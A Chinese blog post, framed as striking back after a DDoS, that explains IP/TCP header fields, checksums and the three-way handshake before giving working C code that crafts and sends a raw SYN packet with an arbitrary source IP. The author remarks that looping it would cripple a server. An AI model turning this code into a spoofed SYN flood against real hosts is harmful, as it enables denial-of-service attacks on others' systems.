服务器被攻击了我教你怎么打回去-DDOS攻击-SYN泛洪攻击-TCP三次握手原理-网络攻防实战演练

原文发布在我的网站:wmwm.me/article/484...

引言

2019年,我的服务器遭遇了DDOS泛洪攻击,一怒之下,我便开始研究"网络攻防",想着打回去。一眨眼4年过去了,本打算屠龙的我,自己却手握屠龙刀,成为了当初的那个屠龙少年

DDOS分有很多种,我只介绍TCP SYN洪水攻击,这是最常用的,也是效果最好的,它可以实现流量放大的效果

免责声明:本篇文章仅仅是科普,作为学习案例,本人不承担任何法律后果

IP数据报

  • 版本(4 bit):一般都是ip-v4,值为0100。如果是ip-v6,值为0110
  • 首部长度(4bit): 4bit最大值为15。单位是行。IP首部默认是20字节,也就是5行。
  • 服务类型(8bit):区分服务时,这个字段才起作用,在一般的情况下都不使用这个字段。
  • 总长度(16bit):IP报文总长,包含首部和数据(TCP/UDP+data)。最小是20个字节。
  • 标志(16bit):唯一值,标识一个报文的所有分包。因为分片不一定按序到达,所以在重组时需要知道分片所属的报文。每产生一个数据报,计数器加1,并赋值给此字段。
  • 其他的暂时不作介绍,后期有需要再来补充

TCP数据报

  • 源端口:发送端所使用的端口,这里有8bit存储空间,所以理论上端口的范围是0~2^8(65535)
  • 目的端口:接收方使用的端口
  • 序号:seq。表明当前发送到第几个数据了。假如是第一次发送,也就是SYN阶段,这就是一个随机数;否则,该序号就是上次发送的序号+1。后续的作用就是数据块的同步
  • 确认号:ack。表明本端已经接收到的数据,实际上告诉对方,在这个序号减1以前的字节已正确接收。若该数据包是整个TCP连接中的第一个包(SYN包),则确认号一般为0,换句话说,就是还未接收数据。只有ACK标志位为1时,确认序号字段才有效
  • 数据偏移:TCP首部一般情况下是20个字节(在没有可变内容的情况下),每4个字节(32bit)为固定的一行,那真正的数据应该在第6行出现,因为前面5行都是首部。所以数据偏移的值默认是5
  • 标志位:这里有多个标识位,都有各自的用途,常用的是SYN和ACK,这里不赘述了。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。ACK确认标志用于确认数据包的成功接收,也用于握手和挥手的确认
  • 选项(可变):用于支持一些特殊的变量,比如最大分组长度(MSS)。TCP协议会根据这个字段进行拆包
  • 填充:用户保证可变选项为32bit的整数倍,也就是保证一行。我猜测可能是内存对齐的原因吧,这样会提高传输的效率。

TCP校验和算法

  1. 将校验和字段置为0,然后将IP包头按16比特分成多个单元,如包头长度不是16比特的倍数,则用0比特填充到16比特的倍数;
  2. 对各个单元采用反码加法运算(即高位溢出位会加到低位,通常的补码运算是直接丢掉溢出的高位),将得到的和的反码填入校验和字段;
  3. 发送数据包。

TCP工作流程

三次握手

  1. 客户端SYN标记为1,seq序号=0(这里的0不是真正意义上的0,是相对位置),然后将包发给服务端,并进入SYN_SEND状态
  2. 服务端将SYN标记为1,seq序号=0。ACK标记为1,确认号为0+1=1。将包发送给客户端,进入SYN_RECV状态
  3. 客户端将ACK标记为1,将确认号标记为1。将包发送给服务端,并进入ESTABLISH状态。
  4. 服务端收到确认包,也进入ESTABLISH状态。
  5. 此时双方开始发送数据,其实在3阶段,客户端就可以和请求数据一并发送到服务端

通俗易懂的解释

发SYN就代表写数据,seq:我发到哪个数据了;发ACK就代表读数据,ack:我读到哪个数据了。有篇文章分析得非常好,地址是:zhuanlan.zhihu.com/p/53338327

  1. 客户端发送SYN,seq=0,告诉服务端,我要开始建立连接了,但是我需要先同步一下seq号,你需要把seq+1返回给我,我判断,如果有误,我就拒绝连接
  2. 服务端收到之后,发送SYN/ACK seq=0,ack=0+1(这里的1代表相对位置)。意思是,我这边收到请求了,我会将你发过来的序号在ack返回给你,但是我这边也要收到你的确认,否则我也不连接。我给你发个seq,你那边回复我下。回复校验我就连接你。
  3. 收到ack了,并且合法,我再给你发一个确认的ack,不然你不跟我连接。于是又发了ACK标记。ack=1
  4. 三次握手建立成功,开始传输数据

举个例子

  1. 客户端发送http请求"GET / HTTP1.1 acb" 此时seq是1,ack也是1
  2. 服务器如果收到请求,就要回ACK,ack = 1+接收到内容长度,seq=1
  3. 客户端收到服务端的ACK之后,会将seq=服务器的ack,ack = 1,然后就停了

这样既可以保证顺序正确,也不丢包

数据报通信流程

数据报结构:IP{iphdr+TCP{tcphdr+data}}

发送数据

  1. 客户端在应用层(HTTP/FTP)生成数据,传到TCP层
  2. TCP层将数据包装一下,并在数据包外堆叠TCP报首(端口信息)
  3. IP层堆叠报首(ip地址)
  4. 数据链路层堆叠报首(MAC地址)

接收数据

  1. 数据链路层拿到数据包,判断mac地址是否匹配,不匹配就丢包
  2. IP层判断ip地址是否匹配
  3. TCP层判断端口是否匹配,然后将数据分发到指定的应用。还可能会存在端口转发的情况
  4. http层进行数据解析和处理

代码实战

用C语言构造一个TCP SYN(三次握手第一步)数据包发送到服务器,代码写于2019年,不能保证当下时间有效,仅作为学习用途

c 复制代码
//
// Created by wu on 2019-12-09.
//
#include <stdio.h>
#include <netinet/ip.h>//Provides declarations for ip header
#include <netinet/tcp.h>//Provides declarations for tcp header
#include <arpa/inet.h>
#include <stdlib.h> //for exit(0);
#include <string.h> //memset,memcpy
#include <errno.h>

//needed for checksum calculation
struct pseudo_header_tcp {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
};

//checksum is 16bit,should use unsigned short
static unsigned short calculate_checkcsum(unsigned short *ptr, int pktlen) {
    register uint32_t csum = 0;

    //add 2 bytes / 16 bits at a time!!
    while (pktlen > 1) {
        csum += *ptr++;
        pktlen -= 2;
    }

    //add the last byte if present
    if (pktlen == 1) {
        csum += *(uint8_t *) ptr;
    }

    //add the carries
    csum = (csum >> 16) + (csum & 0xffff);
    csum = csum + (csum >> 16);

    //return the one's compliment of calculated sum
    return ((short) ~csum);
}

unsigned short src_port = 0;
unsigned int src_inet_addr = 0;
unsigned short dst_port = 0;
unsigned int dst_inet_addr = 0;

int main(int argc, char *argv[]) {
    if (argc < 5) {
        printf("usage:./<script name> <src ip> <src port> <dst ip> <dst port>\n");
        exit(1);
    }

    int i;
    for (i = 1; i < argc; i++) {
        if (i == 1) {
            printf("src_ip = %s\n", argv[i]);
            src_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 2) {
            src_port = (unsigned short) atoi(argv[i]);
            printf("src_port = %d\n", src_port);
            continue;
        }
        if (i == 3) {
            printf("dst_ip = %s\n", argv[i]);
            dst_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 4) {
            dst_port = (unsigned short) atoi(argv[i]);
            printf("dst_port = %d\n", dst_port);
            continue;
        }
    }

    // tcp-datagram packet.size is size of iphdr + size of tcphdr
    char datagram[sizeof(struct iphdr) + sizeof(struct tcphdr)];
    bzero(datagram, sizeof(datagram));

    // 将 ip 首部指针和 tcp 首部指针指向各自的位置,
    struct iphdr *ip_header = (struct iphdr *) datagram;
    struct tcphdr *tcp_header = (struct tcphdr *) (datagram + sizeof(struct iphdr));

    // 填充 ip 首部字段
    ip_header->ihl = 5;                //普通 IP 数据报
    ip_header->version = 4;                //IPv4
    ip_header->tos = 0;
    ip_header->tot_len = sizeof(datagram);
    ip_header->id = 0;                      //自定 IP 包标识,方便筛选
    ip_header->frag_off = 0;
    ip_header->ttl = 255;
    ip_header->protocol = IPPROTO_TCP;                      //指定承载的是 TCP 数据包
    ip_header->check = 0;                                //之后需要计算校验和
    ip_header->saddr = src_inet_addr;
    ip_header->daddr = dst_inet_addr;

    //计算 ip 校验和,两个字节
    ip_header->check = calculate_checkcsum((unsigned short *) datagram, sizeof(datagram));

    // 填充 tcp 首部字段
    tcp_header->source = htons(src_port);   //htons means host to network short
    tcp_header->dest = htons(dst_port);     //if spec value < 255(8bit) , there is no need to use htons
    tcp_header->seq = 0;                    //自定义 seq 序号,方便筛选
    tcp_header->ack_seq = 0;
    tcp_header->doff = 5; //tcp header size ,5行,每行4个字节(32bit)
    tcp_header->fin = 0;
    tcp_header->syn = 1;                                //构造三次握手中的第一次,SYN 置 1
    tcp_header->rst = 0;
    tcp_header->psh = 0;
    tcp_header->ack = 0;
    tcp_header->urg = 0;
    tcp_header->window = htons(65535);
    tcp_header->check = 0;                                //之后需要计算校验和
    tcp_header->urg_ptr = 0;

    //借助伪头部计算 tcp 校验和
    int psize = sizeof(struct pseudo_header_tcp) + sizeof(struct tcphdr);
    char *pseudogram = malloc(psize);
    bzero(pseudogram, psize);
    struct pseudo_header_tcp *psh = (struct pseudo_header_tcp *) pseudogram;
    psh->source_address = src_inet_addr;
    psh->dest_address = dst_inet_addr;
    psh->placeholder = 0;
    psh->protocol = IPPROTO_TCP;
    psh->tcp_length = htons(sizeof(struct tcphdr));
    memcpy(pseudogram + sizeof(struct pseudo_header_tcp), tcp_header, sizeof(struct tcphdr));

    //计算 tcp 校验和
    tcp_header->check = calculate_checkcsum((unsigned short *) pseudogram, psize);

    //↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑至此,第一次握手的 TCP/IP 数据包构造完毕↑↑↑↑↑↑↑↑↑↑↑↑


    // 创建一个使用 TCP/IP 协议并可以构造首部数据的 raw_socket
    int send_socket = -1;
    int one = 1;
    const int *val = &one;
    if ((send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IPIP)) < 0) {
        return -1;
    }
    if (setsockopt(send_socket, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
        return -1;
    }

    // 根据指定 ip 和端口,发送探测包
    struct sockaddr_in dest;
    memset(&dest, 0, sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_port = htons(dst_port);
    dest.sin_addr.s_addr = dst_inet_addr;

    ssize_t bytes_sent = sendto(
            send_socket, datagram, sizeof(datagram),
            0, (struct sockaddr *) &dest, sizeof(dest)
    );

    if (bytes_sent < 0) {
        printf("ERROR(%d):%s\n", errno, strerror(errno));
    } else {
        printf("%zu bytes send success !\n", bytes_sent);
    }

    // sockfd should close here !
    return 0;
}

这个代码如果循环执行,短时间内发送无数个SYN包,会对目标服务器造成毁灭性打击,大家千万不要这么做!!!

本篇文章的后续更新及错误订正会实时更新到我的网站,建议收藏:wmwm.me

相关推荐
AskHarries1 小时前
Java字节码增强库ByteBuddy
java·后端
佳佳_1 小时前
Spring Boot 应用启动时打印配置类信息
spring boot·后端
许野平2 小时前
Rust: 利用 chrono 库实现日期和字符串互相转换
开发语言·后端·rust·字符串·转换·日期·chrono
BiteCode_咬一口代码3 小时前
信息泄露!默认密码的危害,记一次网络安全研究
后端
齐 飞4 小时前
MongoDB笔记01-概念与安装
前端·数据库·笔记·后端·mongodb
LunarCod4 小时前
WorkFlow源码剖析——Communicator之TCPServer(中)
后端·workflow·c/c++·网络框架·源码剖析·高性能高并发
码农派大星。5 小时前
Spring Boot 配置文件
java·spring boot·后端
杜杜的man5 小时前
【go从零单排】go中的结构体struct和method
开发语言·后端·golang
幼儿园老大*5 小时前
走进 Go 语言基础语法
开发语言·后端·学习·golang·go
llllinuuu6 小时前
Go语言结构体、方法与接口
开发语言·后端·golang